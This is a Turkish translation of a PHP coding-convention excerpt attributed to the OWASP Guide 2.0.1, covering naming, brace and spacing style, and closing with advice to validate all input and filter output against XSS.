İngilizce uluslararası geliştirme için tercih edilen dildir. Bu eklenecek yorumlar için de geçerlidir.

Geniş kapsamlı değişkenler uzun isimlendirilmelidir, küçük kapsamlı değişkenler kısa isimlere sahip olabilirler

En iyisi geçici değişkenlerin kısa tutulmasıdır. Bu şekildeki değişkenleri okuyan herhangi biri bu değişkenlerin değerlerinin bir kaç satır kod dışında kullanılmayacağını varsayabilmelidir. Yaygın olarak kullanılan değişkenler $i, $j, $k, $m ve $n'dir. Bu değişkenlerin küçük kapsamları olduğundan ön ek kullanmak işleri biraz zorlaştırır.

Nesne isimleri örtülü olup, metod isimlerinde kullanımları engellenmelidir.

```
$session->getId() // Böyle değil: $session->getSessionId()
```

Sonraki kullanım, sınıf tanımı yazılırken daha doğal gelebilir ama yukarıdaki örnekte görüldüğü gibi örtülü olarak kullanılır.

Bir nitelik direk olarak erişilmek istendiğinde get/set terimleri kullanılmalıdır.

```
$user->getName();
$user->setName($sName);
```

Bu durum C++ ve Java gibi dillerde çoktan yaygın bir kullanım şekli olmuştur.

Kısaltmalar engellenmelidir.

$session->initialize();

// Böyle değil:

$session->init();

$thread->computePosts();

// Böyle değil:

$thread->compPosts();

Bu kural için bir istisna vardır ve o da kısa halleri ile daha iyi anlaşılan HTML, CPU v.b. gibi terimlerdir.

Sözdizimi (syntax)

Fonksiyon ve sınıf tanımlamaları

```
function doSomething()
{
      // ...
}
// Böyle değil:
```

```
function doSomething(){
	// ...
}
```

Aynı durum sınıf tanımlamaları için de geçerlidir.

Komutlar (ifadeler) ve kıvrımlı parantezler

```
if ( $bIsActive )
{
...
}
// Böyle değil:
if ( $bIsActive ) {
...
}
```

İlk parantez her zaman komuttan sonra gelen satırda olmalıdır komutla aynı satırda değil. Kod bu şekilde daha okunabilir olur. Bu durum for, switch, while v.b. için de geçerlidir.

Komutlar (ifadeler) ve boşluklar

```
if ( $sName == 'John' )
{
// ...
}
// Böyle değil:
if ($sName=='John') {
	// ...
}
```

Özet

Denetle, denetle ve denetle! Kurcalanmadığına yüzde yüz emin olmadığınız herhangi bir kaynaktan gelen hiç bir girdiye güvenmeyin. Bu, GET, POST ve COOKIE'den olduğu kadar global kapsamdaki değişkenleri de kapsar. Bazen kullanıcı girdilerinden oluşturulduysa veritabanı verilerine bile güvenilmez.

Tarayıcıya hiç bir zaman filtrelenmemiş çıktıyı göndermeyin aksi durumda o veya bu şekilde XSS saldırılarına maruz kalırsınız.

Dökümanın Aslı : OWASP GUIDE 2.0.1

Çeviri **:** Bedirhan Urgun - bedirhan@webguvenligi.org